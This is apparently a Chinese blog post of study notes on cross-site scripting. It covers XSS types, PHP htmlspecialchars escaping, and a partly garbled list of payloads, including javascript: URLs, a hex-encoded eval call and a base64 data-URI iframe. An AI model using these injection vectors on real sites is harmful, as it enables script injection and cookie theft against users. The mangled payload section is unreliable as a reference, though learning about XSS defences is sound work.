xss漏洞学习笔记
xss实质是指html和javascript代码的注入
XSS被恶意使用的三种方法:
1.窃取Cookie值
2.通过JavaScript攻击
3.篡改网页
xss的分类:
按形式分:反射型XSS 存储型XSS
按介质分:JSXSS FlashXSS
按接口分:DOM base XSS , 非DOM XSS
注:因此没有反射型XSS、存储型XSS、DOM XSS这种分类,因为分类依据都不同…
1.反射型:(不持久型xss)
与服务器交互,但是交互的数据一般不会被存放在数据库中,一次性,所见即所得,一般出现在查询类页面上等。
2. 存储型:(持久型xss)
交互的数据会被存放在数据库中,永久性存储,一般出现在留言板,注册等页面。
3.DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的漏洞,大部分属于反射型,少部分属于存储型。
xss可能存在的漏洞:
有用户输入输出的地方,用户交互等一些地方,都可能存在xss漏洞。
PHP转义函数:
htmlspecialchars($String, $quote_style, $charset)
$string :转换对象字符串
$quote_style:转换方法。
转换前 转换后 ENT_NOQUOTES ENT_COMPAT ENT_QUOTES
< <; 支持 支持 支持
>; 支持 支持 支持
& &; 支持 支持 支持
“ "; 不支持 支持 支持
’ '; 不支持 不支持 支持
一般使用最后一种即可:ENT_QUOTES
$charset:字符编码。如UTF-8、GBK。
payload:<!–
#第一类:Javascript URL
link
link
link
Hello
Hello
link
<a href=javascript:alert("RSnake says,'XSS'")
>link
link
link
Hello
link
Hello
link
link
link
link
Hello
link
link
1
link
link
<a href=javascript:eval(“\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29”)>2
<a href=javascript:eval(“alert('xss')”)>link
link
link
link
test
1
<iframe/src=”data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==”>
#第二类:CSS import
#第三类:Inline style
- XSS
//ie6
#第四类:JavaScript 事件
test link link link123456123456
123456123456asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfAuthor: odiws
Permalink: http://odiws.github.io/2024/03/31/xss%E7%AC%94%E8%AE%B0/
License: Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan: Do you believe in DESTINY?